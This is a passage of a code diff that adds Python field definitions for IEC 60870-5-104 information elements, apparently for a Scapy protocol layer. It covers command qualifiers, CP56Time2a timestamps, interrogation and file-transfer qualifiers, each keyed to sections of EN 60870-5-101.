QU_FLAG_LONG_COMMAND_EXEC_TIME: 'long execution time', + QU_FLAG_PERMANENT_COMMAND: 'permanent command', + } + + GENERATED_ATTRIBUTES = [ + ('QU_FLAG_RESERVED_COMPATIBLE', 'reserved - compatible', QU_FLAGS, 4, + 8), + ('QU_FLAG_RESERVED_PREDEFINED_FUNCTION', + 'reserved - predefined function', QU_FLAGS, 9, 15), + ('QU_FLAG_RESERVED_PRIVATE', 'reserved - private', QU_FLAGS, 16, 31) + ] + + SE_FLAG_EXECUTE = 0 + SE_FLAG_SELECT = 1 + SE_FLAGS = { + SE_FLAG_EXECUTE: 'execute', + SE_FLAG_SELECT: 'select' + } + + informantion_element_fields = [ + BitEnumField('s/e', 0, 1, SE_FLAGS), + BitEnumField('qu', 0, 5, QU_FLAGS) + ] + + +class IEC104_IE_SCO(IEC104_IE_QOC): + """ + SCO - single command + + EN 60870-5-101:2003, sec. 7.2.6.15 (p. 50) + """ + SCS_FLAG_STATE_OFF = 0 + SCS_FLAG_STATE_ON = 1 + SCS_FLAGS = { + SCS_FLAG_STATE_OFF: 'off', + SCS_FLAG_STATE_ON: 'on' + } + + informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [ + BitField('reserved', 0, 1), + BitEnumField('scs', 0, 1, SCS_FLAGS) + ] + + +class IEC104_IE_DCO(IEC104_IE_QOC): + """ + DCO - double command + + EN 60870-5-101:2003, sec. 7.2.6.16 (p. 50) + """ + DCS_FLAG_STATE_INVALID_0 = 0 + DCS_FLAG_STATE_OFF = 1 + DCS_FLAG_STATE_ON = 2 + DCS_FLAG_STATE_INVALID_3 = 3 + DCS_FLAGS = { + DCS_FLAG_STATE_INVALID_0: 'invalid (0)', + DCS_FLAG_STATE_OFF: 'off', + DCS_FLAG_STATE_ON: 'on', + DCS_FLAG_STATE_INVALID_3: 'invalid (3)', + } + + informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [ + BitEnumField('dcs', 0, 2, DCS_FLAGS) + ] + + +class IEC104_IE_RCO(IEC104_IE_QOC): + """ + RCO - regulating step command + + EN 60870-5-101:2003, sec. 7.2.6.17 (p. 50) + """ + RCO_FLAG_STATE_INVALID_0 = 0 + RCO_FLAG_STATE_STEP_DOWN = 1 + RCO_FLAG_STATE_STEP_UP = 2 + RCO_FLAG_STATE_INVALID_3 = 3 + RCO_FLAGS = { + RCO_FLAG_STATE_INVALID_0: 'invalid (0)', + RCO_FLAG_STATE_STEP_DOWN: 'step down', + RCO_FLAG_STATE_STEP_UP: 'step up', + RCO_FLAG_STATE_INVALID_3: 'invalid (3)', + } + + informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [ + BitEnumField('rcs', 0, 2, RCO_FLAGS) + ] + + +class IEC104_IE_CP56TIME2A(IEC104_IE_CommonQualityFlags): + """ + CP56Time2a - dual time, 7 octets + (milliseconds, valid flag, minutes, hours, + summer-time-indicator, day of month, weekday, years) + + well, someone should have talked to them about the idea of the + unix timestamp... + + EN 60870-5-101:2003, sec. 7.2.6.18 (p. 50) + + time representation format according IEC 60870-5-4:1993, sec. 6.8, p. 23 + """ + WEEK_DAY_FLAG_UNUSED = 0 + WEEK_DAY_FLAG_MONDAY = 1 + WEEK_DAY_FLAG_TUESDAY = 2 + WEEK_DAY_FLAG_WEDNESDAY = 3 + WEEK_DAY_FLAG_THURSDAY = 4 + WEEK_DAY_FLAG_FRIDAY = 5 + WEEK_DAY_FLAG_SATURDAY = 6 + WEEK_DAY_FLAG_SUNDAY = 7 + WEEK_DAY_FLAGS = { + WEEK_DAY_FLAG_UNUSED: 'unused', + WEEK_DAY_FLAG_MONDAY: 'Monday', + WEEK_DAY_FLAG_TUESDAY: 'Tuesday', + WEEK_DAY_FLAG_WEDNESDAY: 'Wednesday', + WEEK_DAY_FLAG_THURSDAY: 'Thursday', + WEEK_DAY_FLAG_FRIDAY: 'Friday', + WEEK_DAY_FLAG_SATURDAY: 'Saturday', + WEEK_DAY_FLAG_SUNDAY: 'Sunday' + } + + GEN_FLAG_REALTIME = 0 + GEN_FLAG_SUBSTITUTED_TIME = 1 + GEN_FLAGS = { + GEN_FLAG_REALTIME: 'real time', + GEN_FLAG_SUBSTITUTED_TIME: 'substituted time' + } + + SU_FLAG_NORMAL_TIME = 0 + SU_FLAG_SUMMER_TIME = 1 + SU_FLAGS = { + SU_FLAG_NORMAL_TIME: 'normal time', + SU_FLAG_SUMMER_TIME: 'summer time' + } + + informantion_element_fields = [ + LEShortField('sec_milli', 0), + BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), + BitEnumField('gen', 0, 1, GEN_FLAGS), + # only valid in monitor direction ToDo: special treatment needed? + BitField('minutes', 0, 6), + BitEnumField('su', 0, 1, SU_FLAGS), + BitField('reserved_2', 0, 2), + BitField('hours', 0, 5), + BitEnumField('weekday', 0, 3, WEEK_DAY_FLAGS), + BitField('day-of-month', 0, 5), + BitField('reserved_3', 0, 4), + BitField('month', 0, 4), + BitField('reserved_4', 0, 1), + BitField('year', 0, 7), + ] + + +class IEC104_IE_CP56TIME2A_START_TIME(IEC104_IE_CP56TIME2A): + """ + derived IE, used for ASDU that requires two CP56TIME2A timestamps for + defining a range + """ + _DERIVED_IE = True + informantion_element_fields = [ + LEShortField('start_sec_milli', 0), + BitEnumField('start_iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), + BitEnumField('start_gen', 0, 1, IEC104_IE_CP56TIME2A.GEN_FLAGS), + # only valid in monitor direction ToDo: special treatment needed? + BitField('start_minutes', 0, 6), + BitEnumField('start_su', 0, 1, IEC104_IE_CP56TIME2A.SU_FLAGS), + BitField('start_reserved_2', 0, 2), + BitField('start_hours', 0, 5), + BitEnumField('start_weekday', 0, 3, + IEC104_IE_CP56TIME2A.WEEK_DAY_FLAGS), + BitField('start_day-of-month', 0, 5), + BitField('start_reserved_3', 0, 4), + BitField('start_month', 0, 4), + BitField('start_reserved_4', 0, 1), + BitField('start_year', 0, 7), + ] + + +class IEC104_IE_CP56TIME2A_STOP_TIME(IEC104_IE_CP56TIME2A): + """ + derived IE, used for ASDU that requires two CP56TIME2A timestamps for + defining a range + """ + _DERIVED_IE = True + informantion_element_fields = [ + LEShortField('stop_sec_milli', 0), + BitEnumField('stop_iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), + BitEnumField('stop_gen', 0, 1, IEC104_IE_CP56TIME2A.GEN_FLAGS), + # only valid in monitor direction ToDo: special treatment needed? + BitField('stop_minutes', 0, 6), + BitEnumField('stop_su', 0, 1, IEC104_IE_CP56TIME2A.SU_FLAGS), + BitField('stop_reserved_2', 0, 2), + BitField('stop_hours', 0, 5), + BitEnumField('stop_weekday', 0, 3, + IEC104_IE_CP56TIME2A.WEEK_DAY_FLAGS), + BitField('stop_day-of-month', 0, 5), + BitField('stop_reserved_3', 0, 4), + BitField('stop_month', 0, 4), + BitField('stop_reserved_4', 0, 1), + BitField('stop_year', 0, 7), + ] + + +class IEC104_IE_CP24TIME2A(IEC104_IE_CP56TIME2A): + """ + CP24Time2a - dual time, 3 octets + (milliseconds, valid flag, minutes) + + EN 60870-5-101:2003, sec. 7.2.6.19 (p. 51) + + time representation format according IEC 60870-5-4:1993, sec. 6.8, p. 23, + octet 4..7 discarded + """ + + informantion_element_fields = \ + IEC104_IE_CP56TIME2A.informantion_element_fields[:4] + + +class IEC104_IE_CP16TIME2A: + """ + CP16Time2a - dual time, 2 octets + (milliseconds) + + EN 60870-5-101:2003, sec. 7.2.6.20 (p. 51) + """ + informantion_element_fields = [ + LEShortField('sec_milli', 0) + ] + + +class IEC104_IE_CP16TIME2A_ELAPSED: + """ + derived IE, used in ASDU using more than one CP* field and this one is + used to show an elapsed time + """ + _DERIVED_IE = True + + informantion_element_fields = [ + LEShortField('elapsed_sec_milli', 0) + ] + + +class IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE: + """ + derived IE, used in ASDU using more than one CP* field and this one is + used to show an protection activation time + """ + _DERIVED_IE = True + + informantion_element_fields = [ + LEShortField('prot_act_sec_milli', 0) + ] + + +class IEC104_IE_CP16TIME2A_PROTECTION_COMMAND: + """ + derived IE, used in ASDU using more than one CP* field and this one is + used to show an protection command time + """ + _DERIVED_IE = True + + informantion_element_fields = [ + LEShortField('prot_cmd_sec_milli', 0) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_COI: + """ + COI - cause of initialization + + EN 60870-5-101:2003, sec. 7.2.6.21 (p. 51) + """ + LPC_FLAG_LOCAL_PARAMETER_UNCHANGED = 0 + LPC_FLAG_LOCAL_PARAMETER_CHANGED = 1 + LPC_FLAGS = { + LPC_FLAG_LOCAL_PARAMETER_UNCHANGED: 'unchanged', + LPC_FLAG_LOCAL_PARAMETER_CHANGED: 'changed' + } + + COI_FLAG_LOCAL_POWER_ON = 0 + COI_FLAG_LOCAL_MANUAL_RESET = 1 + COI_FLAG_REMOTE_RESET = 2 + + COI_FLAGS = { + COI_FLAG_LOCAL_POWER_ON: 'local power on', + COI_FLAG_LOCAL_MANUAL_RESET: 'manual reset', + COI_FLAG_REMOTE_RESET: 'remote reset' + } + + GENERATED_ATTRIBUTES = [ + ('COI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', COI_FLAGS, 3, + 31), + ('COI_FLAG_PRIVATE_RESERVED', 'private reserved', COI_FLAGS, 32, 127) + ] + + informantion_element_fields = [ + BitEnumField('local_param_state', 0, 1, LPC_FLAGS), + BitEnumField('coi', 0, 7, COI_FLAGS) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_QOI: + """ + QOI - qualifier of interrogation + + EN 60870-5-101:2003, sec. 7.2.6.22 (p. 52) + """ + QOI_FLAG_UNUSED = 0 + QOI_FLAG_STATION_INTERROGATION = 20 + QOI_FLAG_GROUP_1_INTERROGATION = 21 + QOI_FLAG_GROUP_2_INTERROGATION = 22 + QOI_FLAG_GROUP_3_INTERROGATION = 23 + QOI_FLAG_GROUP_4_INTERROGATION = 24 + QOI_FLAG_GROUP_5_INTERROGATION = 25 + QOI_FLAG_GROUP_6_INTERROGATION = 26 + QOI_FLAG_GROUP_7_INTERROGATION = 27 + QOI_FLAG_GROUP_8_INTERROGATION = 28 + QOI_FLAG_GROUP_9_INTERROGATION = 29 + QOI_FLAG_GROUP_10_INTERROGATION = 30 + QOI_FLAG_GROUP_11_INTERROGATION = 31 + QOI_FLAG_GROUP_12_INTERROGATION = 32 + QOI_FLAG_GROUP_13_INTERROGATION = 33 + QOI_FLAG_GROUP_14_INTERROGATION = 34 + QOI_FLAG_GROUP_15_INTERROGATION = 35 + QOI_FLAG_GROUP_16_INTERROGATION = 36 + + QOI_FLAGS = { + QOI_FLAG_UNUSED: 'unused', + QOI_FLAG_STATION_INTERROGATION: 'station interrogation', + QOI_FLAG_GROUP_1_INTERROGATION: 'group 1 interrogation', + QOI_FLAG_GROUP_2_INTERROGATION: 'group 2 interrogation', + QOI_FLAG_GROUP_3_INTERROGATION: 'group 3 interrogation', + QOI_FLAG_GROUP_4_INTERROGATION: 'group 4 interrogation', + QOI_FLAG_GROUP_5_INTERROGATION: 'group 5 interrogation', + QOI_FLAG_GROUP_6_INTERROGATION: 'group 6 interrogation', + QOI_FLAG_GROUP_7_INTERROGATION: 'group 7 interrogation', + QOI_FLAG_GROUP_8_INTERROGATION: 'group 8 interrogation', + QOI_FLAG_GROUP_9_INTERROGATION: 'group 9 interrogation', + QOI_FLAG_GROUP_10_INTERROGATION: 'group 10 interrogation', + QOI_FLAG_GROUP_11_INTERROGATION: 'group 11 interrogation', + QOI_FLAG_GROUP_12_INTERROGATION: 'group 12 interrogation', + QOI_FLAG_GROUP_13_INTERROGATION: 'group 13 interrogation', + QOI_FLAG_GROUP_14_INTERROGATION: 'group 14 interrogation', + QOI_FLAG_GROUP_15_INTERROGATION: 'group 15 interrogation', + QOI_FLAG_GROUP_16_INTERROGATION: 'group 16 interrogation' + } + + GENERATED_ATTRIBUTES = [ + ('QOI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QOI_FLAGS, 1, + 19), + ('QOI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QOI_FLAGS, 37, + 63), + ('QOI_FLAG_PRIVATE_RESERVED', 'private reserved', QOI_FLAGS, 64, 255) + ] + + informantion_element_fields = [ + ByteEnumField('qoi', 0, QOI_FLAGS) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_QCC: + """ + QCC - qualifier of counter interrogation command + + EN 60870-5-101:2003, sec. 7.2.6.23 (p. 52) + """ + + # request flags + RQT_FLAG_UNUSED = 0 + RQT_FLAG_GROUP_1_COUNTER_INTERROGATION = 1 + RQT_FLAG_GROUP_2_COUNTER_INTERROGATION = 2 + RQT_FLAG_GROUP_3_COUNTER_INTERROGATION = 3 + RQT_FLAG_GROUP_4_COUNTER_INTERROGATION = 4 + RQT_FLAG_GENERAL_COUNTER_INTERROGATION = 5 + + RQT_FLAGS = { + RQT_FLAG_UNUSED: 'unused', + RQT_FLAG_GROUP_1_COUNTER_INTERROGATION: 'counter group 1 ' + 'interrogation', + RQT_FLAG_GROUP_2_COUNTER_INTERROGATION: 'counter group 2 ' + 'interrogation', + RQT_FLAG_GROUP_3_COUNTER_INTERROGATION: 'counter group 3 ' + 'interrogation', + RQT_FLAG_GROUP_4_COUNTER_INTERROGATION: 'counter group 4 ' + 'interrogation', + RQT_FLAG_GENERAL_COUNTER_INTERROGATION: 'general counter ' + 'interrogation', + } + + GENERATED_ATTRIBUTES = [ + ('RQT_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', RQT_FLAGS, 6, + 31), + ('RQT_FLAG_PRIVATE_RESERVED', 'private reserved', RQT_FLAGS, 32, 63), + ] + + FRZ_FLAG_QUERY = 0 + FRZ_FLAG_SAVE_COUNTER_WITHOUT_RESET = 1 + FRZ_FLAG_SAVE_COUNTER_AND_RESET = 2 + FRZ_FLAG_COUNTER_RESET = 3 + + FRZ_FLAGS = { + FRZ_FLAG_QUERY: 'query', + FRZ_FLAG_SAVE_COUNTER_WITHOUT_RESET: 'save counter, no counter reset', + FRZ_FLAG_SAVE_COUNTER_AND_RESET: 'save counter and reset counter', + FRZ_FLAG_COUNTER_RESET: 'reset counter' + } + + informantion_element_fields = [ + BitEnumField('frz', 0, 2, FRZ_FLAGS), + BitEnumField('rqt', 0, 6, RQT_FLAGS) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_QPM: + """ + QPM - qualifier of parameter of measured values + + EN 60870-5-101:2003, sec. 7.2.6.24 (p. 53) + """ + + KPA_FLAG_UNUSED = 0 + KPA_FLAG_THRESHOLD = 1 + KPA_FLAG_SMOOTHING_FACTOR = 2 + KPA_FLAG_LOWER_LIMIT_FOR_MEAS_TX = 3 + KPA_FLAG_UPPER_LIMIT_FOR_MEAS_TX = 4 + + KPA_FLAGS = { + KPA_FLAG_UNUSED: 'unused', + KPA_FLAG_THRESHOLD: 'threshold', + KPA_FLAG_SMOOTHING_FACTOR: 'smoothing factor', + KPA_FLAG_LOWER_LIMIT_FOR_MEAS_TX: 'lower limit meas transmit', + KPA_FLAG_UPPER_LIMIT_FOR_MEAS_TX: 'upper limit meas transmit' + } + + GENERATED_ATTRIBUTES = [ + ('KPA_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', KPA_FLAGS, 5, + 31), + ('KPA_FLAG_PRIVATE_RESERVED', 'private reserved', KPA_FLAGS, 32, 63) + ] + + LPC_FLAG_LOCAL_PARAMETER_MOT_CHANGED = 0 + LPC_FLAG_LOCAL_PARAMETER_CHANGED = 1 + LPC_FLAGS = { + LPC_FLAG_LOCAL_PARAMETER_MOT_CHANGED: 'local parameter not changed', + LPC_FLAG_LOCAL_PARAMETER_CHANGED: 'local parameter changed' + } + + POP_FLAG_PARAM_EFFECTIVE = 0 + POP_FLAG_PARAM_INEFFECTIVE = 1 + POP_FLAGS = { + POP_FLAG_PARAM_EFFECTIVE: 'parameter effective', + POP_FLAG_PARAM_INEFFECTIVE: 'parameter ineffective', + } + + informantion_element_fields = [ + BitEnumField('pop', 0, 1, POP_FLAGS), # usually unused, should be zero + BitEnumField('lpc', 0, 1, LPC_FLAGS), # usually unused, should be zero + BitEnumField('kpa', 0, 6, KPA_FLAGS), + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_QPA: + """ + QPA - qualifier of parameter activation + + EN 60870-5-101:2003, sec. 7.2.6.25 (p. 53) + """ + QPA_FLAG_UNUSED = 0 + QPA_FLAG_ACT_DEACT_LOADED_PARAM_OA_0 = 1 + QPA_FLAG_ACT_DEACT_LOADED_PARAM = 2 + QPA_FLAG_ACT_DEACT_CYCLIC_TX = 3 + + QPA_FLAGS = { + QPA_FLAG_UNUSED: 'unused', + QPA_FLAG_ACT_DEACT_LOADED_PARAM_OA_0: 'act/deact loaded parameters ' + 'for object addr 0', + QPA_FLAG_ACT_DEACT_LOADED_PARAM: 'act/deact loaded parameters for ' + 'given object addr', + QPA_FLAG_ACT_DEACT_CYCLIC_TX: 'act/deact cyclic transfer of object ' + 'given by object addr', + } + + GENERATED_ATTRIBUTES = [ + ('QPA_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QPA_FLAGS, 4, + 127), + ('QPA_FLAG_PRIVATE_RESERVED', 'private reserved', QPA_FLAGS, 128, 255) + ] + + informantion_element_fields = [ + ByteEnumField('qpa', 0, QPA_FLAGS) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_QRP: + """ + QRP - Qualifier of reset process command + + EN 60870-5-101:2003, sec. 7.2.6.27 (p. 54) + """ + QRP_FLAG_UNUSED = 0 + QRP_FLAG_GENERAL_PROCESS_RESET = 1 + QRP_FLAG_RESET_EVENT_BUFFER = 2 + + QRP_FLAGS = { + QRP_FLAG_UNUSED: 'unsued', + QRP_FLAG_GENERAL_PROCESS_RESET: 'general process reset', + QRP_FLAG_RESET_EVENT_BUFFER: 'reset event buffer' + } + + GENERATED_ATTRIBUTES = [ + ('QRP_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QRP_FLAGS, 3, + 127), + ('QRP_FLAG_PRIVATE_RESERVED', 'private reserved', QRP_FLAGS, 128, 255), + ] + + informantion_element_fields = [ + ByteEnumField('qrp', 0, QRP_FLAGS) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_FRQ: + """ + FRQ - file ready qualifier + + EN 60870-5-101:2003, sec. 7.2.6.28 (p. 54) + """ + FR_FLAG_UNUSED = 0 + + FR_FLAGS = { + FR_FLAG_UNUSED: 'unused' + } + + GENERATED_ATTRIBUTES = [ + ('FR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', + FR_FLAGS, 1, 63), + ('FR_FLAG_PRIVATE_RESERVED', 'private reserved', FR_FLAGS, 64, 127), + ] + + FRACK_FLAG_POSITIVE_ACK = 0 + FRACK_FLAG_NEGATIVE_ACK = 1 + FRACK_FLAGS = { + FRACK_FLAG_POSITIVE_ACK: 'positive ack', + FRACK_FLAG_NEGATIVE_ACK: 'negative ack' + } + + informantion_element_fields = [ + BitEnumField('fr_ack', 0, 1, FRACK_FLAGS), + BitEnumField('fr', 0, 7, FR_FLAGS) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_SRQ: + """ + SRQ - sequence ready qualifier + + EN 60870-5-101:2003, sec. 7.2.6.29 (p. 54) + """ + SR_FLAG_UNUSED = 0 + + SR_FLAGS = { + SR_FLAG_UNUSED: 'unused' + } + + GENERATED_ATTRIBUTES = [ + ('SR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', + SR_FLAGS, 1, 63), + ('SR_FLAG_PRIVATE_RESERVED', 'private reserved', SR_FLAGS, 64, 127), + ] + + SLOAD_FLAG_SECTION_READY = 0 + SLOAD_FLAG_SECTION_NOT_READY = 1 + SLAOD_FLAGS = { + SLOAD_FLAG_SECTION_READY: 'section ready', + SLOAD_FLAG_SECTION_NOT_READY: 'section not ready' + } + + informantion_element_fields = [ + BitEnumField('section_load_state', 0, 1, SLAOD_FLAGS), + BitEnumField('sr', 0, 7, SR_FLAGS) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_SCQ: + """ + SCQ - select and call qualifier + + EN 60870-5-101:2003, sec. 7.2.6.30 (p. 55) + """ + SEL_CALL_FLAG_UNUSED = 0 + SEL_CALL_FLAG_FILE_SELECT = 1 + SEL_CALL_FLAG_FILE_REQUEST = 2 + SEL_CALL_FLAG_FILE_ABORT = 3 + SEL_CALL_FLAG_FILE_DELETE = 4 + SEL_CALL_FLAG_SECTION_SELECTION = 5 + SEL_CALL_FLAG_SECTION_REQUEST = 6 + SEL_CALL_FLAG_SECTION_ABORT = 7 + + SEL_CALL_FLAGS = { + SEL_CALL_FLAG_UNUSED: 'unused', + SEL_CALL_FLAG_FILE_SELECT: 'file select', + SEL_CALL_FLAG_FILE_REQUEST: 'file request', + SEL_CALL_FLAG_FILE_ABORT: 'file abort', + SEL_CALL_FLAG_FILE_DELETE: 'file delete', + SEL_CALL_FLAG_SECTION_SELECTION: 'section selection', + SEL_CALL_FLAG_SECTION_REQUEST: 'section request', + SEL_CALL_FLAG_SECTION_ABORT: 'section abort' + } + + SEL_CALL_ERR_FLAG_UNUSED = 0 + SEL_CALL_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL = 1 + SEL_CALL_ERR_FLAG_INVALID_CHECKSUM = 2 + SEL_CALL_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE = 3 + SEL_CALL_ERR_FLAG_UNEXPECTED_FILENAME = 4 + SEL_CALL_ERR_FLAG_UNEXPECTED_SECTION_NAME = 5 + SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_6 = 6 + SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_7 = 7 + SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_8 = 8 + SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_9 = 9 + SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_10 = 10 + SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_11 = 11 + SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_12 = 12 + SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_13 = 13 + SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_14 = 14 + SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_15 = 15 + + SEL_CALL_ERR_FLAGS = { + SEL_CALL_ERR_FLAG_UNUSED: 'unused', + SEL_CALL_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL: 'requested memory area ' + 'not available', + SEL_CALL_ERR_FLAG_INVALID_CHECKSUM: 'invalid checksum', + SEL_CALL_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE: 'unexpected ' + 'communication ' + 'service', + SEL_CALL_ERR_FLAG_UNEXPECTED_FILENAME: 'unexpected file name', + SEL_CALL_ERR_FLAG_UNEXPECTED_SECTION_NAME: 'unexpected section name' + } + + GENERATED_ATTRIBUTES = [ + ('SEL_CALL_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', + SEL_CALL_FLAGS, 8, 10), + ('SEL_CALL_FLAG_PRIVATE_RESERVED', 'private reserved', SEL_CALL_FLAGS, + 11, 15), + ('SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', + SEL_CALL_ERR_FLAGS, 6, 10), + ('SEL_CALL_ERR_FLAG_PRIVATE_RESERVED', 'private reserved', + SEL_CALL_ERR_FLAGS, 11, 15) + ] + + informantion_element_fields = [ + BitEnumField('errors', 0, 4, SEL_CALL_ERR_FLAGS), + BitEnumField('select_call', 0, 4, SEL_CALL_FLAGS) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_LSQ: + """ + LSQ - last section or segment qualifier + + EN 60870-5-101:2003, sec. 7.2.6.31 (p. 55) + """ + LSQ_FLAG_UNUSED = 0 + LSQ_FLAG_FILE_TRANSFER_NO_ABORT = 1 + LSQ_FLAG_FILE_TRANSFER_ABORT = 2 + LSQ_FLAG_SECTION_TRANSFER_NO_ABORT = 3 + LSQ_FLAG_SECTION_TRANSFER_ABORT = 4 + + LSQ_FLAGS = { + LSQ_FLAG_UNUSED: 'unused', + LSQ_FLAG_FILE_TRANSFER_NO_ABORT: 'file transfer - no abort', + LSQ_FLAG_FILE_TRANSFER_ABORT: 'file transfer - aborted', + LSQ_FLAG_SECTION_TRANSFER_NO_ABORT: 'section transfer - no abort', + LSQ_FLAG_SECTION_TRANSFER_ABORT: 'section transfer - aborted', + } + + GENERATED_ATTRIBUTES = [ + ('LSQ_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', LSQ_FLAGS, 5, + 127), + ('LSQ_FLAG_PRIVATE_RESERVED', 'private reserved', LSQ_FLAGS, 128, 255), + ] + + informantion_element_fields = [ + ByteEnumField('lsq', 0, LSQ_FLAGS) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_AFQ: + """ + AFQ - acknowledge file or section qualifier + + EN 60870-5-101:2003, sec. 7.2.6.32 (p. 55) + """ + ACK_FILE_OR_SEC_FLAG_UNUSED = 0 + ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_FILE_TRANSFER = 1 + ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_FILE_TRANSFER = 2 + ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_SECTION_TRANSFER = 3 + ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_SECTION_TRANSFER = 4 + + ACK_FILE_OR_SEC_FLAGS = { + ACK_FILE_OR_SEC_FLAG_UNUSED: 'unused', + ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_FILE_TRANSFER: 'positive acknowledge' + ' file transfer', + ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_FILE_TRANSFER: 'negative acknowledge' + ' file transfer', + ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_SECTION_TRANSFER: 'positive ' + 'acknowledge ' + 'section transfer', + ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_SECTION_TRANSFER: 'negative ' + 'acknowledge ' + 'section transfer' + } + + ACK_FILE_OR_SEC_ERR_FLAG_UNUSED = 0 + ACK_FILE_OR_SEC_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL = 1 + ACK_FILE_OR_SEC_ERR_FLAG_INVALID_CHECKSUM = 2 + ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE = 3 + ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_FILENAME = 4 + ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_SECTION_NAME = 5 + + ACK_FILE_OR_SEC_ERR_FLAGS = { + ACK_FILE_OR_SEC_ERR_FLAG_UNUSED: 'unused', + ACK_FILE_OR_SEC_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL: 'requested memory ' + 'area not available', + ACK_FILE_OR_SEC_ERR_FLAG_INVALID_CHECKSUM: 'invalid checksum', + ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE: 'unexpected' + ' communica' + 'tion ' + 'service', + ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_FILENAME: 'unexpected file name', + ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_SECTION_NAME: 'unexpected ' + 'section name' + } + + GENERATED_ATTRIBUTES = [ + ('ACK_FILE_OR_SEC_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', + ACK_FILE_OR_SEC_FLAGS, 5, 10), + ('ACK_FILE_OR_SEC_FLAG_PRIVATE_RESERVED', 'private reserved', + ACK_FILE_OR_SEC_FLAGS, 11, 15), + + ('ACK_FILE_OR_SEC_ERR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', + ACK_FILE_OR_SEC_ERR_FLAGS, 6, 10), + ('ACK_FILE_OR_SEC_ERR_FLAG_PRIVATE_RESERVED', 'private reserved', + ACK_FILE_OR_SEC_ERR_FLAGS, 11, 15) + ] + + informantion_element_fields = [ + BitEnumField('errors', 0, 4, ACK_FILE_OR_SEC_ERR_FLAGS), + BitEnumField('ack_file_or_sec', 0, 4, ACK_FILE_OR_SEC_FLAGS) + ] + + +class IEC104_IE_NOF: + """ + NOF - name of file + + EN 60870-5-101:2003, sec. 7.2.6.33 (p. 56) + """ + informantion_element_fields = [ + LEShortField('file_name', 0) + ] + + +class IEC104_IE_NOS: + """ + NOS - name of section + + EN 60870-5-101:2003, sec. 7.2.6.34 (p. 56) + """ + informantion_element_fields = [ + ByteField('section_name', 0) + ] + + +class IEC104_IE_LOF: + """ + LOF - length of file or section + + EN 60870-5-101:2003, sec. 7.2.6.35 (p. 55) + """ + informantion_element_fields = [ + ThreeBytesField('file_length', 0) + ] + + +class IEC104_IE_LOS: + """ + LOS - length of segment + + EN 60870-5-101:2003, sec. 7.2.6.36 (p. 56) + """ + informantion_element_fields = [ + ByteField('segment_length', 0) + ] + + +class IEC104_IE_CHS: + """ + CHS - checksum + + EN 60870-5-101:2003, sec. 7.2.6.37 (p. 56) + """ + informantion_element_fields = [ + ByteField('checksum', 0) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_SOF: + """ + SOF - status of file + + EN 60870-5-101:2003, sec. 7.2.6.38 (p. 56) + """ + STATUS_FLAG_UNUSED = 0 + + STATUS_FLAGS = { + STATUS_FLAG_UNUSED: 'unused' + } + + GENERATED_ATTRIBUTES = [ + ('STATUS_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', + STATUS_FLAGS, 1, 15), + ('STATUS_FLAG_PRIVATE_RESERVED', 'private reserved', + STATUS_FLAGS, 16, 32) + ] + + LFD_FLAG_NEXT_FILE_OF_DIR_FOLLOWS = 0 + LFD_FLAG_LAST_FILE_OF_DIR = 1 + 